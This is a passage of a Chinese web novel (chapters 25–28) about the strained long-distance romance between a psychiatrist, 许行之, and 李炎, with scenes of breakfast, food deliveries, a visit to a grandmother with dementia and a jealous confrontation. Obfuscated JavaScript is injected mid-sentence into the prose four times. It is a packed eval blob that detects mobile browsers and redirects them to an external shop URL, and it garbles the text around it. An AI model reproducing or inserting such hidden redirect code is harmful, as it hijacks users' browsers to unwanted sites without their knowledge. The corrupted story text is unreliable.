三只小东西不知道又从哪儿窜了出来,看到许行之在厨房似乎是以为又可以加餐了,就在许行之的腿边来回走,时不时还贴他几下,许行之这会才注意到,黑色的西裤腿上,已经粘上了不少猫毛,他弯下腰挨个摸了一把,也回了房间,没有关门。 与其说第二天早上许行之醒得早,不如说他一夜没睡。 他清楚地听到六点多的时候家里的门被打开了,慌张地从床上下来,到门口的时候门已经又关上了,李炎的鞋不见了,许行之有点乱了,他不知道该不该出去追,可鬼使神差转头走进次卧的时候,看到李炎的包还在,就松了一口气,他又回到了房间里,躺了回去。 门再一次打开的时候,是七点多,李炎回来了。 走出卧室到客厅的时候,许行之看到餐桌上放着好几份不一样的早餐,和站在餐桌边正在看着他的李炎。 “起来了啊,”李炎的声音哑了,“洗漱吃早饭吧。” “好。”许行之张了口,却不确定声音有没有发出来。 洗漱完回到餐桌边的时候,两人都沉默了一会儿,倒是李炎先开的口。 “也没问过你爱吃什么,就都买了些。”李炎硬挤了个笑出来。 许行之也微微笑了笑,“我不挑。” 许行之习惯性地拿了杯豆浆,扎好了吸管放到李炎的面前,他没抬头去看,这会儿许行之胸口堵得厉害,随手从桌子上的几个袋子里拿了个手抓饼,加了里脊肉和番茄酱的,还有这烘得不生不熟的生菜——是李炎最喜欢吃的一款,嗓子跟被什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338576|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被堵了一样,刚咬下来的那一口在嘴里嚼了很久,怎么都咽不下去,只觉得后牙槽在发酸。 眼前递过来了一杯水,许行之抬头看了看,李炎站到了他的边上。 “就买了一瓶牛奶和一杯豆浆,豆浆被我喝了,牛奶你也喝不了。”李炎说话的声音很轻,几乎是和着气音一起发出来的。 许行之就这么仰着看李炎,他面色比平时还要白,眼睛肿了,黑眼圈也很重,眼眶还有些泛红,昨天哭大劲儿了吧,估计也一晚没睡,许行之下意识地抬起手想要去抚摸李炎的脸,却在半空中停住了。 “怎么哭丧个脸,”李炎低头对许行之笑了笑,抓住了那只停顿在半空中的手,“这才处了几天,恋爱脑要不得呀,许医生。” 今天的许行之还没来得及戴眼镜,不知是因为近视的朦胧还是原本就眸光深邃,李炎觉得今天许行之的眼睛望进去看不到底,那些藏在情绪后面的暗涌似乎快要冲破了这个人原本的理性与思考,李炎都在怀疑是不是自己看错了,他从许行之的表情里读到了可怜。 “喝点水吧。”李炎捏了捏许行之的手后放开了。 却在下一秒被许行之握住。 “你还会回来吗?” “我……是回去。” “刚刚说的才处了几天是什么意思?” “趁还没太走心,”李炎顿了一下,“或许时间久了就淡了,不要花太多心思在我身上。” “你要放弃我吗?”许行之第二次问这个问题了。 李炎苦笑了一下,摇了摇头。“说了我不想的。” 许行之松开了李炎的手,头也跟着低了下去。 他不想猜了,也不敢猜了。 “顺其自然吧……”李炎说,“我也不知道能走到哪步。” 看着许行之低着头的样子,李炎几乎替他不值,甚至觉得自己自私,因为害怕被人指指点点、被人说痴人说梦,也因为害怕总有一天许行之嫌弃他、厌倦他,觉得他肤浅,或者终于有一天幡然醒悟原来真的不是同一条路上的人,或者说!从根本上来说,他害怕的是,许行之会在未来的某一天放弃他,其他人尚且能说是辜负自己,而对于许行之来说,他害怕的是被丢掉,像丢掉垃圾一样,丢掉自己。 和他比起来,我真是个垃圾,他想。 眼眶又酸了,怎么流了一晚上泪,还没流尽。 许行之沉默了很久,终于又抬起头来,问李炎:“能答应我一件事吗?” “你说。” “不要故意不理我,不要故意躲着我,”许行之叹了口气,“不要刻意拒绝我。” 李炎咽了口唾沫,没说话。 许行之一句接着一句。 “你都说了,我们不是愣头青了,得做点成熟的事情和决定。” “只要你还觉得,能和我说上两句。就不要不理我。” “如果将来……”许行之的声音也有点稳不住了,“你真不想再继续了,或者遇到了更适合的,直说也好、不回我也好,两天,两天后我不会再找你,像你说的,顺其自然。” “可以吗?” 许行之扬起的头仿佛在祈求李炎的悲悯,这让他更无地自容,李炎的心脏感觉像是被泡在盐水里又攥紧了,单独一个字都说得发颤,“好。” 味同嚼蜡的早饭过后,李炎把桌子都收拾了一遍,背上了带过来的包。 “我走了。”他说。 许行之还是望向他,没有点头,“到了告诉我。” “嗯。” 李炎把垃圾都顺走了,连带着他一起。 关上许行之家门后,李炎回过头看了一眼。 电梯来了,李炎踏了进去,把自己和眼泪都留在了封闭的轿厢里。 26. 第26章 刚刚两个人在客厅里的时候,三只猫都没有出来打扰,这会儿李炎走了,金针菇是先出来的,在昨天李炎坐过的沙发位置上闻了闻,又看了看许行之,好像在问,昨天还在家里的人去哪儿了,许行之没法回答,叹了口气坐到了昨天李炎坐的地方旁边,把金针菇放到了自己大腿上,手放在猫的脑袋上都没动,惹得金针菇不耐烦地叫了一声,许行之这才抓了抓它脑壳上的短毛,金针菇不满地跳了下去,钻进了次卧里,许行之也跟了进去。 李炎把次卧整理得非常干净,连床罩都几乎没什么褶皱,这平整的样子太吸引金针菇了,它一蹦就蹦到了床上,床面上有有了个巨大的凹陷,金针菇还不自知地在床上玩自己的尾巴,许行之觉得好笑,也羡慕动物的天真与单纯。看向飘窗那,李炎把西装都叠平整了放在飘窗上,不知道他从哪儿找的塑料袋,在飘窗盖了一层,又在西装上盖了一层,仔细看西装上几乎没有猫毛,棉质的西装怎么可能这么容易把猫毛揪出来,昨晚他应该摘了很久吧,电视和空调遥控器也整齐地放在床头柜上,许行之倒了下去,正好砸在李炎睡过的枕头上,那些亲密接触的回忆,像丝线一样把许行之缠了起来,越收越紧,紧到他几乎不能呼吸,他蜷缩起了身体,回到了婴儿般的姿势,仿佛只有回到初生的姿态,才能获得一点点安慰。 许行之就这样等着时间从身上流过,他并没有刻意去看,但能精确地感受到过去了多少分钟,他在床上足足躺了快六个小时,次卧的阳光从右边换到了左边,手机消息提示音响起来的时候,他才像活了过来。下床的时候都有些晕,许行之用力眨了眨眼睛晃了下脑袋,走回了自己的卧室,手机从昨天晚上开始就躺在床头柜上没动过,他拿起来的时候甚至有点害怕不是李炎的消息。 大漂亮:我到家了 一向理性的许行之在看到这句话的时候几乎有病态的矫情,李炎说他到家了,那他现在在的地方是哪里? 知:好的,收拾收拾补个觉吧 大漂亮:嗯,你也是 许行之的下一句话打了很多遍,好像这种犹豫又回到了他俩第一次发生亲密关系的那时候,想问他还难不难受,有没有眼睛疼,今天坐的高铁吵不吵,他突然发现李炎来这的时候没给许行之发消息,可能并不仅仅是他故意玩的戏码,还有更深层次的想念,想念太浓,以至于望而却步,最后落在手机上的几个字,许行之摒弃了顾左右而言他,选择了直接表达。 知:我很想你 等了很久,李炎没有回复,许行之不得不履行自己的承诺,开始从这一刻起计算起两天,48小时后,如果李炎没有再回复自己,许行之就真的要失去他了。 他不希望这是一段短暂的关系,短暂而滚烫,最后湮灭在冷水里。 在许行之已知的人生里,他所获得的一切,都毫不费力,小时候他不理解为什么会有人连满分也拿不到,长大了一点他觉得拿下竞赛的冠军轻而易举,面临高考的时候他直接拒绝了学校的保送,用更高的成绩考取了理想的大学和专业,从小收到过的情书堆起来比自己用过的草稿纸还要多,在意识到自己喜欢同性时瞬间就接受了这个定位,就连追求别人的时候也是稍稍花一些功夫就能获得对方的青睐,即使被前任辜负的时候他觉得挫败和自我怀疑,但他从没对现实觉得无力过,所有他解过的方程式,都没有李炎留给他的复杂,他没有办法在不兼顾李炎感受的同时,粗暴地求出那一个答案,甚至他要的不是一个世俗观念里的正确答案,他轻蔑地觉得正确答案谁都知道,但他不想写出来,他愿意在自己近乎完满的计算技能上退一步,他想求一个将错就错。 第二天周一上班的时候,许行之很早就从家里走了,他必须尽快从自己的情绪里脱离出来,解决更多人的情绪问题,门诊还没开,坐到办公室的时候,他想起来上次李炎就站在自己桌边时发愣的样子,看着自己草稿纸的眼睛像小鹿一样,可爱得直往自己的心门上撞。 许行之觉得自己得做点什么,他不能任由李炎一直停留在已知的情绪里,他先打开了查找功能看了看李炎现在在哪儿,又打开了手机的外卖软件,定位到了李炎的家,找到了附近销量最高的一家超市,下单了两个番茄、两个鸡蛋、一袋面粉和一把香菜,还有一支棒棒糖,李炎给自己做的番茄疙瘩汤的香气许行之仿佛还能闻得到,他也想在此刻让李炎吃上点热乎的。 门诊开始后,许行之就没有时间看手机了,他并没有把手机放在明显的位置,而是照旧放进了抽屉里,面对患者许医生始终尊重、全倾全力。 倒是李炎在听到敲门声的时候有点愣神,平时这会儿老头子早就下楼到早点铺子里和人边吃边唠嗑了,自己网购的东西也从来不会留家里的地址,问了是谁后居然回答是外卖,是自己疯了吗,梦里点的?! 袋子递过来后骑手就下楼了,李炎还特意探了探头看看楼道里左右有没有别人,一头雾水,也不知道是不是恶作剧,李炎拿回袋子的时候还很小心,挺沉的,至少有个十来斤了,他先是放到了家门口的地上,看了看好像没什么攻击性又拾了起来,袋子不是透明的他也看不清里面是什么,他挠了挠脑门,把袋子带进了自己房间,拆开之前眯了眯眼睛,还是有点儿犹豫,脑子里都是各种狗血的电影情节,但还是耐不住自己的好奇心,打开了袋子后他有点儿傻了。 这都不用问,就知道谁整的,除了许行之那个大聪明,还有谁会外卖疙瘩汤的原材料给自己,鸡蛋还只买了两个,就不怕磕碎了,要不聪明死他得了,还整了足足五公斤的袋装面粉,这是疙瘩汤吗?这他妈是疙瘩实心球! 袋子的底部躺着一根弱小的棒棒糖,如果不注意看的话,都见不着,李炎看了看自己床边的垃圾桶,昨晚报复性地吃掉了之前许行之给的那一桶里的三根,吃到后边舌根儿都觉得齁得慌,索性灯一关捂上被子就睡觉了,没想到今天这人给自己补了一根,李炎一下没忍住笑了出来,一笑就觉得脸绷得慌,大漂亮已经有一天一夜没照镜子了,他进了卫生间开了灯,看到镜子里的自己的时候他内心在大声质问这个猪头是谁,就这么一张脸,哪儿哪儿都是肿的。 起火做疙瘩汤之前李炎洗了把澡,把这两天残留在身上的泪痕也好、伤痕也好,好好冲了冲,清爽出浴的时候,李炎觉得呼吸不那么困难了,也冷静了不少,自从母亲去世后,他几乎没有再歇斯底里地哭过,即使偶尔会和人吵架甚至动手,心里也没什么波澜起伏,他在这里一眼看得到头的生活里,觉得虽然很渺小,但是很安全。许行之的世界太大了,大得让人眼花缭乱,天空高得让人心慌。 但他到底还是在做完疙瘩汤的时候,拍了张照片给许行之发过去,昨天这人的一句想他,又让李炎停顿了几秒的呼吸,他下意识地想回复我也是的时候,记起了今天早上是怎么逃回来的,真的是逃,离开许行之家之后他就在手机上买了一小时后的高铁票,下了地铁后的狂奔,在安检这儿打招呼插队,在最后2分钟的时候上的车,愣是走过了两个车厢才找到自己的位置。他没有回,他记得许行之说的两天,昨天晚上就想快刀斩乱麻的自己,这会儿被一碗疙瘩汤破功了,48小时重来,李炎自嘲似的笑了笑,不知道自己到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338577|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堕落了,还是得救了。 自己又何尝,不想他呢。 李炎没见过海,但他觉得许行之像海面中央的旋涡。 速度极快、转速极高、耐久也好,是天然的涡轮增压。 自己只是刚刚站到了外圈,就感受到了巨大的离心力。 李炎觉得,只要站在许行之身边,就会变得贪婪,离得越近,贪婪越深。 他只能选择远离他,在自己觉得安全的角落里瑟缩着。 午休的时候,许行之没吃饭,带着手机去了三楼的平台,有几条未读信息,只有一条是来自李炎的,一碗红彤彤的番茄疙瘩汤,旁边还有一张棒棒糖的糖纸,他松了口气,48小时的倒计时总算是重启了,不会在他离开的第三天就失去他,许行之感到万幸,他拿起了手机,这次没有对着天空,而是面向了烟灰缸拍了个照片发过去。 知:你在这里抽过烟 没过几秒,李炎的信息就回过来了。 大漂亮:嗯,一根 知:你在我这没抽过烟,为什么 大漂亮:想不起来 知:知道了 李炎就没再回了,这次是许行之主动结束聊天的,他的知道了并没有给李炎留话头,李炎皱了皱眉,这什么路数?主动开启倒计时?但没什么回的,就不回了吧,顺其自然么。 第二天早上李炎又收到了一个外卖袋子,里面装的是两个青椒、一盒里脊肉还有一根棒棒糖,这不是许行之的拿手菜青椒肉丝么,他这会儿才感受到许行之的书生气,他好像在哄人开心这个赛道里并不突出,甚至有点愚笨,只会用这种老套的方式来接近自己,小心翼翼的。 谁大早上吃青椒炒肉丝啊,疯了吧。 李炎把肉丝放到了冰箱的冷藏里就出门去店里了。 一直到晚饭饭点,许行之才收到李炎给自己发过来的照片,青椒炒大劲儿了,肉丝这酱油……是不是放多了。 知:火太大了,中火就行 大漂亮:能吃 知:好的 又是许行之主动结束的聊天,千句万句能说的话,就回了个好的,李炎几乎都搞不清他想干嘛了,替他着急。 两人这样一来一回持续了能有一个多星期,每天都是许行之点外卖过来,跟点菜似的,李炎就不厌其烦地拿他送的菜来做饭,弄得老李都看不懂了,自己这宁可在外面给别人开小灶都不愿意在家里做饭的逆子,这礼拜怎么天天在家里头做饭,伙食跟上来了,老李倒也没什么微词,但他心里清楚自从儿子从那个地方回来后就在家里挺尸了一天,这几天倒是鲜活了不少。 这天老李实在是憋不住了,在饭桌上对李炎说:“你和那个姓许的咋回事?” “啊?”李炎一惊,假装听不懂。 老李啧了一声,自己儿子还在这装,“分手了还是和好了?” “关你什么事。” “你那天回来我以为你要寻死了都。” “放心吧肯定把你先安排好。”李炎对他爹,真的是完完全全不客气。 “兔崽子你他妈——”拿着筷子的手刚要敲到李炎的头上,还是收了手,那天下午就到家的、他老李家的好大儿,一整张脸都在告诉他老子自己哭得很惨,想到这里,他换了李炎的胳膊杵了杵,“分没分手?” “没!我操,”李炎都急眼了,筷子往碗上重重一放,“没分手!” “噢——”这会儿老李的声儿变了调,笑得满脸是褶子,“那还是在一块儿了啊。” 李炎一下就噎住了,他爹怎么倒着问啊!? 27. 第27章 钢厂整体的调研报告整体都已经梳理完了,这次许行之先给工会的赵建明发了电子版后,再用密封袋装了报告寄了快递出去,那边收到调研报告的时候对许行之和整个课题组都道了谢,说这份报告的结果对如何改善老职工的生活上起到了莫大的帮助,即使中间有一些些小插曲,但没有造成什么实质性的影响,结果也是好的。赵建明还特意申请了钢厂的用印,给团队和许行之个人都发了封感谢信,许行之心里清楚,这份感谢信是对李炎的赔罪,但要没那档子事儿,他和李炎也没什么机会能再碰头。 许行之这天去拜访导师的时候,总感觉他笑眯眯地看着自己,可能是因为钢厂这个项目还是比较顺利的,老师心里也高兴吧,但没想到的是他高兴的却是另一件事儿。 “行之啊,听说你恋爱了?” 许行之愣了愣,想起来他和主任说起过这事儿,看来师兄早早给导师报备了。 “嗯。”他也倒坦诚,没想要瞒着老师什么。 “你师兄说是异地恋?”老师笑得很慈祥。 “是,”许行之清了清嗓子,“他就在钢厂那。” “和上次的保密协议有关?” 许行之点了点头。 “有一点困难,但我觉得你会有办法的。”老师点了点他,却没有说透。 “嗯,”许行之轻轻叹了口气,又对导师笑了笑,“有机会带他来看您。” “好啊,我很期待。” 又到了周末,平日里基本只在微信里问候的许行之父亲,给他打了个电话,一是问他最近好不好,有没有空回家,二是说奶奶提到他了,估计是想他了,让他有空去疗养院看看。他自知最近的状态实在算不上好,就说这阵还有点忙,等忙完了再回家看他们,但奶奶那边等不了,他说等会儿就过去。 许行之家里算是高知家庭,父母都是Q大的教授,父亲主攻哲学,母亲主攻水利,家里对许行之基本属于放养,只要求他成绩保持在学校的前40%就行,但许行之没有浪费他的天赋,甚至在学习上培养出了兴趣,一路拔尖儿过来,父母也觉得安慰,许行之是在大二后主动向父母坦言自己的性取向的,两位教授有些惊讶,说要讨论一个晚上才能表达自己的看法,许行之很庆幸自己爸妈说的不是给他一个答复,他并不需要答复,同不同意他也不会改变。 庆幸的是父母二人只告诉他,他们不支持也不反对,这是许行之自己的人生课题,他们不会干涉,但希望他能够做到一点,无论性取向如何,除了洁身自好之外,一定也要认真对待感情,切忌朝三暮四、玩弄人心。当时许行之只觉得父母担心得太多了,自己只是出个柜而已,况且当时自己身边并没有伴儿。 但真正开始涉足这个圈子的时候,许行之才明白父母说的话有多重要,玩票的多、认真的少,年轻的许行之也并不是没有在诱惑里沉浮过,他斯文败类一般的模样在圈子里太吃香了,经历了几次刺激和短暂得只能用周来计算的恋爱后,他厌倦了,纯粹的生理满足后是巨大的空虚,他需要更多精神层面上的东西,于是他开始尝试延长恋爱的周期、配合对方的节奏、忍耐对方的缺憾、也不遗余力给予对方精神鼓励,大学里他有过一段校园恋爱,但最终以对方还是迫于现实压力选择分手,再后来就是和周医生的三年,结局不太好之外,还引发了些自我怀疑。 他自己知道,喜欢李炎并不是没有原因的,李炎有和他一样说出性向的勇气,也有他在第二段感情里缺失的坦诚,李炎几乎不害怕被许行之看透,他甚至享受这样的过程,李炎甚至掰正了自己曾经对自己下的谬论,还有就是……李炎细腻的共情能力和两肋插刀的义气,这是许行之没有的,他承认,自己有一颗适合当心理医生的强心脏,但只是强,并不柔软,但李炎心软也善良。最意外的收获,是李炎的外在,他从来没有喜欢过长发男生,却觉得李炎性感得要命。 可他现在没办法和李炎说,不要在意那些名利场,专注我本身就好,他知道这句话对于现在的李炎而言,和找抽没什么区别,别人看重的,却是你不在意的,不是清高是什么? 现在两人停滞不前的状态许行之真的感到束手无策,他只能两天两天地算着,今天过完了,再看看后两天。 事实上他和李炎已经快一个月没见面了,每天就靠给他点外卖、李炎给他发做的菜和棒棒糖纸,以及不痛不痒的几句话维持着联系,他没再敢说想他,可他每一天都很想他,而且是每过一天,想念愈盛,他手机里给李炎拍过的唯一一张照片都快被看包浆了,他会情不自禁地把照片放到最大,用手指指腹抚摸他光洁的额头、细长的眼睛,还有那两片吻起来让人沉醉的唇。 每天的夜晚是最难熬的,关灯后他总是强忍住要给李炎打电话的冲动,他太想念他的声音了,最开始和他聊上天的那两句催促,许行之在睡前会听上一遍又一遍。 想见他,太想了。 许行之深深叹了口气,拿了钥匙出了门,还是先去看奶奶吧。 许行之的奶奶曾经也是个史学家,为什么说是曾经,是因为她在三年前就被确诊了阿尔茨海默症,这是一个不可逆的退化,从逐渐的大脑短路,到成片成片的忘却,七十多的老太太和小孩儿一样,有的时候连排泄都无法控制,第一年的时候还好,许行之的父母接了奶奶回家住,但两位都缺乏专业护理知识,随着时间长了症状也越来越严重,有时候老人突然晕倒,家里的急救设备也跟不上,迷糊的时间比清醒的时候还要多,家里就让当时刚进医院的许行之找找疗养院,最终还是自己老师出手相助的,奶奶才顺利住进了现在在的地方。 奶奶的房间在一楼,她一向爱干净又喜欢小动物,家里安排了一间单人房,这个疗养院的条件很好,房间几乎都不能被称为是病房,更像是个带独立卫浴的一居室,之前借给顾淼的肥羊就在疗养院里陪奶奶。 到了疗养院后,许行之先是去了护理站和值班的护理员打了招呼,还给他们带了个蛋糕,还有猫粮和罐头,感谢他们一直细心照顾自己的奶奶还有猫,护理长是个中年阿姨,每次许行之来都兴奋得不行,总说如果自己儿子不管在外貌上还是成就上有许医生的一半优秀就好了,整得每次许行之都不太好意思空手来。然后再去了医生办公室,给自己奶奶牵上这家疗养院线的医生是自己导师本科带的学生,也算是师兄了,每次许行之来都要先了解一下自己奶奶的情况,倒也不盼着能恢复,只是希望恶化的进程不要太快,慢一点的话,如果奶奶能无忧无虑地过上很多年,他也算聊以安慰。 一路忙活下来已经过去半小时了,许行之踏进病房的时候,奶奶正坐在轮椅上晒太阳,腿上正躺着一只翻着肚皮的大白猫,许行之抬头看了一眼空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奶奶始终没有给许行之熟悉的回应,而是木讷地看着天花板,嘴里空嚼着,眼睛瞪得很大,对所见之处都充满了警惕性,许行之深呼吸了一下,头抬了起来,他伸手摸了摸奶奶的银发,又哄着她说:“奶奶,乖一点哦,我下次再来看你。” 许行之弯下腰给肥羊喂了罐头,揉了它两把又给它梳了梳毛,才把它抱到床尾,用脑门也贴了贴肥羊的脑门,对它自言自语地说要好好陪奶奶,也不要乱吃东西,肥羊打了个哈欠回应了他。 临出门前,许行之又回头看了一眼,手刚摸上把手,奶奶的声音就从后面传了过来。 “看这天气好像要下雨了,也不知道今天我们行之带没带伞,放学我得去接他。” 虽然这么说着,但奶奶还是躺在床上,眼睛看向了天花板,就好像在看已经很遥远的过去一样,许行之轻声说了句“奶奶我走了”,就伸手在脸上抹了一把,推门而出了。 疗养院的停车场是露天的,许行之抬头看了一眼天,是要下雨了,云一层层压过来,天色有些变暗,他坐上车了才反应过来今天没有给李炎点外卖,快一天下来了手机也没什么动静,坐上了驾驶座后许行之觉得特别无力,仰着头靠在椅背上看着天上的云聚在一起,第一滴雨落下的时候,许行之的鼻子也跟着酸了。 他打开了手机天气,看了看李炎那。 接着就坐直了系上了安全带,驶上马路的时候,他在路口掉了个头,直接往高速路口开去。 下雨了,他要去给李炎送伞。 28. 第28章 这条高速许行之没少开,从给顾淼做咨询开始,他时不时就会往返在这条路上,可没有一次像今天这样心里恍恍惚惚的,过了收费站后,雨点子开始变大,路上的车都自动降了速、也打开了双闪,他有些着急,他怕雨下得太大,赶不过去,也怕雨下得太急到那儿已经停了,他希望这场雨下得小一点,也希望这场雨下得慢一点,不至于到了李炎面前的时候,就只有一句单薄的我想你了,至少能够赋予一些实际意义。 平日里大概六七个小时的车程,许行之足足开了快九个小时,一路上过来有的路段瓢泼大雨,有的路段艳阳高照,许行之觉得自己就像是被放在打铁炉上的铁片一样,一边接受着火的考验,一边又沉进水里接受淬炼,他只在开了四个小时极限后休息了一会,在服务区停着的半小时里,他就打开位置共享看李炎在哪里,一直在修车店里没挪过地儿,可他总算下了高速之后再停车看的时候,李炎所在的位置许行之已经不认识了,距离他们上次说话已经超过了24小时,即使是每天说点废话,也没有失联过那么久。 他已经顾不上这会儿不打招呼就直接来找李炎是不是唐突了,也不想去设想见了李炎后会发生什么负面反应,去他妈的礼貌,去他妈的小心,去他妈的心理学,他眼下只想顺应自己本能的冲动,找到李炎、见到李炎,至于要说什么,要做什么,都没关系、都好,一路过来,他已经失去了全部耐心,什么狗屁顺其自然,只有顺其自然地放手,哪有顺其自然地在一起,人的心被点燃了,根本不给什么“自然发生”留一点点机会。 许行之在陌生的城市里,跟着导航找李炎的踪迹,这边的晚上有建筑的灯不多,商业区的楼都比较老了,到是居民区街边的大排档比较热闹些,一些帆布和铁架搭出来的棚子,折叠桌和塑料椅,一点精致谈不上,但那些光着膀子的男人和穿着大花裙子的女人都喝着酒,还时不时闹出爆炸式的笑声,比他这个死气沉沉呆在车里的人要鲜活得多。 可再见到李炎的时候,许行之一路攒过来的勇气也好、怒气也好,全部都被浇灭了,这座城市的雨停了,可他好像已经变成了碳化的尸体,还冒着白眼。李炎正与一个男人勾肩搭背,两人手里都拿着酒,他俩碰了个杯后都脑袋向后一仰,杯子里所有的酒都不见了,他俩勾在一起的样子好像认识很久了,俩人看着对方的眼神里也都有些玩笑的意思,他们说的什么话许行之听不清楚,但他们勾起的嘴角就像四把刀,刀刀砍向了许行之的心脏,他胸口里淌着血,浑身打了个激灵。 这算什么? 许行之冷笑了一声,转身又回了车里,踩了油门直接往李炎家的方向开,他不喜欢人多嘈杂的环境,更不想在这么多人面前和李炎掰扯,他也想看看,没联系他但在和别人说笑的李炎,到底什么时候回家。上次在这儿等着的时候的不舍、缠绵,都让这次的等待拉得更长,许行之觉得自己的人生失败透了,怎么还会有人羡慕自己呢?一路过来,看似高朋满座、万众瞩目的自己,实际满目疮痍,一身狼狈。 但即使亲眼所见,他还是想给李炎解释的一个机会,这是一直以来与李炎相处下来对他坦然的性格所持有的信任,才能在此刻定住许行之的双脚不立刻拔腿离开。 也没有等很久,本来就很晚了。是一辆车送李炎回来的,他没看清开车的人是谁,但停在楼下的时候,刚刚和李炎勾肩搭背的那个男人也下来了,两个人又拽了拽手,那个男人在李炎的背后拍了拍,李炎对他点了点头算是告别,真他妈的友好啊,许行之的牙关都咬紧了。 那辆车开走后,李炎拿了根烟在楼道口蹲下了,点燃了一边眯眼抽着一边皱着眉翻腾手机,看手势应该是在玩弱智爱消除。许行之看到李炎的头发短了一些,额角两边的碎发更多了,显得他脸更小了些,是瘦了吗?这个念头一出来许行之就觉得自己完了,还生气呢,倒先心疼起人来了。 见李炎手里的烟燃完了大半,许行之下了车,一路上也没管哪里有积水,径直就走到了李炎的面前。 阴影笼罩到李炎全身的时候,他也抬起了头,嘴里的烟掉了下去,砸在了自己膝盖上,火星子疼得李炎嘶地一声就站了起来。 “许行之!?”李炎大声说了句,似乎被吓到了,“你什么时候来的?!” 心虚了么,反应这么大,许行之心里发着疼,自己的表情应该也好看不到哪里去。 “说话啊!你怎么来了?”李炎催促道。 许行之原先声音里的舒缓一扫而空,此刻压迫感十足,“刚刚那个男人是谁?” “什么男人?”李炎不解,还左右看了看。 “不敢承认?”许行之从来没觉得自己这么暴戾过,他伸手捏住了李炎的下巴,手指几乎卡进了李炎的面颊里,“和别人喝酒,和别人说笑,想不起来联系我,这会儿装起来了?” 李炎双手捏住了许行之卡着他下巴的手臂,用力往上一抬,把许行之的手从自己的脸上摘开,“你他妈疯了吧!说他妈什么屁话!” “我是疯了,”许行之这会反而笑了出来,眼里往日的平静一扫而光、只剩怒火,“我他妈以为你和其他人不一样!我以为你坦坦荡荡,我天真地以为你会天天地想着我、念着我、等着我,我真是……低估了你啊,大漂亮!?” 李炎的食指直接指着许行之的鼻子,话语里的怒气一点不比许行之少,“你说清楚!老子做了什么对不起你的事了!你他妈这么说我!?” 许行之笑着往后退了好几步,脚正好踩到了一个水塘里,“那你说啊,刚刚那个男人是谁!!?”说到后面许行之几乎是用吼的对着李炎。 楼上不知道谁开了窗户,朝着下面吼了一声,“大晚上的别吵吵!” “滚!!”李炎对着楼上更大声地吼了回去。 李炎点了点头,胸口的起伏巨大,“你要知道是谁是吧,好,你等着,你等着许行之。”李炎拿着手机的手几乎都有点儿颤抖,除了莫名其妙之外还有巨大的怒意,不知道是不是有水滴到了屏幕上,上下翻动通讯录的屏幕有一点卡顿,他嘴里又骂了句脏话,点到了一个人的名字,直接打了过去,开了免提,把音量调到最大。 “喂?李炎啊,啥事啊?东西忘拿了?” “你他妈现在给我滚回来!!”李炎对着手机高声喊了一句。 “不去了,喝累了,下回再碰头吧啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338579|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 那边的声音透着慵懒和疲惫,许行之几乎要爆炸了,他不敢想象除了喝酒之外他们还发生过什么事。 “我他妈让你,现在,就给老子,滚回来!!”李炎咬着牙对手机说。 “脑子坏了吧真有病,刚他妈才见过又让我回去,行行行,你等着,我们现在开回来。” 李炎把电话挂了,手机捏在手里几乎要捏碎了。 这时候又下起了雨,李炎在楼道门口的屋檐下,而许行之就站在雨里,他没有躲,更准确的说,根本没有动,他旁边有一盏晦暗的黄色路灯,雨哗地一下下了一阵大的,在光下变成了斜着的线,雨水顺着许行之的鬓角滴下来,眼镜上都是水痕,眉毛和眼睫毛上都挂着水珠,呼吸一起一伏。 那辆车开进来的时候许行之没让,就这么杵在路中间,车猛地一个急刹,副驾车窗放了下来,里面有个声音朝这儿吼:“你他妈找死啊!让开!” 李炎没等他俩说上话,就从台阶上冲了下来,一把拉开副驾的门,扯开这人的安全带,直接把人从车上薅了下来,拽着拖着到许行之面前,高声问他,“你说的男人是不是这个?” 许行之没说话,算是默认了。 “告诉他你叫什么名字。”李炎对着身边那人说道。 “我?”这人顿了顿,“这人谁啊?惹你了?” “操|你妈!”李炎发狠地说了一句,“我让你干嘛干嘛,别废话!告诉他你他妈叫什么!!” “我……”这人有点儿摸不着头脑,“我叫刘帆啊。” “你可以滚了。” “啥事啊李炎?把我们又叫回来,我他妈好不容易谈个女朋友想让你替我掌掌眼,你他妈来回遛我,她车都开不太好……” “滚啊!!” “你真牛逼,我他妈谁都不服就服你。”刘帆莫名其妙,但还是听了李炎的话走了。 接着李炎直接给顾飞打了个电话,也开了免提。 “李炎?” 